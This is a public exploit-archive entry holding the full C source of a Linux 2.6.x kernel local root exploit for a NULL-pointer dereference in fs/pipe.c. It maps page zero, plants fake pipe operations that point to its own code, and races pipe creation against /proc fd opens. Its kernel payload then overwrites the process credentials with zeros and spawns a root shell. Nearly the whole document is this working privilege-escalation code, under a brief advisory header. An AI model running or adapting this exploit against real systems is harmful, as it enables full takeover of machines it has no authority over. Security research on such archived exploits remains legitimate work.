Teach & xipeEDB-ID:33322
/*
source: https://www.securityfocus.com/bid/36901/info
Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.
Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
*/
/******************************************************************************
* .:: Impel Down ::.
*
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
* by teach & xipe
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
* (hehe guyz, we would probably be high profile and mediatised el8 if we
* lost less time on trolling all day long, but we LOVE IT :)))
* Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
* promise ivan, one day i'll kill u :p)
*
* (C) COPYRIGHT teach & xipe, 2009
* All Rights Reserved
*
* [email protected]
* [email protected]
*
*******************************************************************************/
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#define PIPE_BUFFERS (16)
struct pipe_buf_operations {
int can_merge;
int *ops[10];
};
struct pipe_buffer {
int *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pseudo_pipe_inode_info
{
/* Wait queue head */
/* spinlock */
int spinlock;
/* list */
int *next, *prev;
unsigned int nrbufs, curbuf;
int *page;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
int *async_readers;
int *async_writers;
int *inode;
struct pipe_buffer bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
unsigned long taskstruct[1024];
static inline void *get_stack_top()
{
void *stack;
__asm__ __volatile__ (
"movl $0xffffe000,%%eax ;"
"andl %%esp, %%eax ;"
"movl %%eax, %0 ;"
: "=r" (stack)
);
return stack;
}
static inline void *get_current()
{
return *(void **)get_stack_top();
}
static void update_cred()
{
uint32_t i;
uint32_t *task = get_current(); /* Pointer to the task_struct */
uint32_t *cred = 0;
for (i = 0; i < 1024; i++)
{
taskstruct[i] = task[i];
cred = (uint32_t *)task[i];
if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
cred++; /* Get ride of the cred's 'usage' field */
if (cred[0] == uid && cred[1] == gid
&& cred[2] == uid && cred[3] == gid
&& cred[4] == uid && cred[5] == gid
&& cred[6] == uid && cred[7] == gid)
{
/* Get root */
cred[0] = cred[2] = cred[4] = cred[6] = 0;
cred[1] = cred[3] = cred[5] = cred[7] = 0;
break;
}
}
}
}
int is_done(int new)
{
static int done = 0;
if (done == 1)
return (1);
done = new;
}
volatile int done = 0;
void kernel_code()
{
is_done(1);
update_cred();
//exit_kernel();
}
int main(int ac, char **av)
{
int fd[2];
int pid;
int parent_pid = getpid();
char *buf;
int i,j;
struct pseudo_pipe_inode_info *pinfo = 0;
struct pipe_buf_operations ops;
buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0);
printf ("buf: %p\n", buf);
pinfo->readers = 0;
pinfo->writers = 0;
for (i = 0; i < 10; i++)
ops.ops[i] = (int *)kernel_code;
for (i = 0; i < PIPE_BUFFERS; i++)
{
pinfo->bufs[i].ops = &ops;
}
i = 0;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
//while (1)
{
pid = fork();
if (pid == -1)
{
perror("fork");
return (-1);
}
if (pid)
{
char path[1024];
char c;
/* I assume next opened fd will be 4 */
sprintf(path, "/proc/%d/fd/4", pid);
printf("Parent: %d\nChild: %d\n", parent_pid, pid);
while (!is_done(0))
{
fd[0] = open(path, O_RDWR);
if (fd[0] != -1)
{
close(fd[0]);
}
}
//system("/bin/sh");
execl("/bin/sh", "/bin/sh", "-i", NULL);
return (0);
}
while (!is_done(0))
{
if (pipe(fd) != -1)
{
close(fd[0]);
close(fd[1]);
}
}
}
}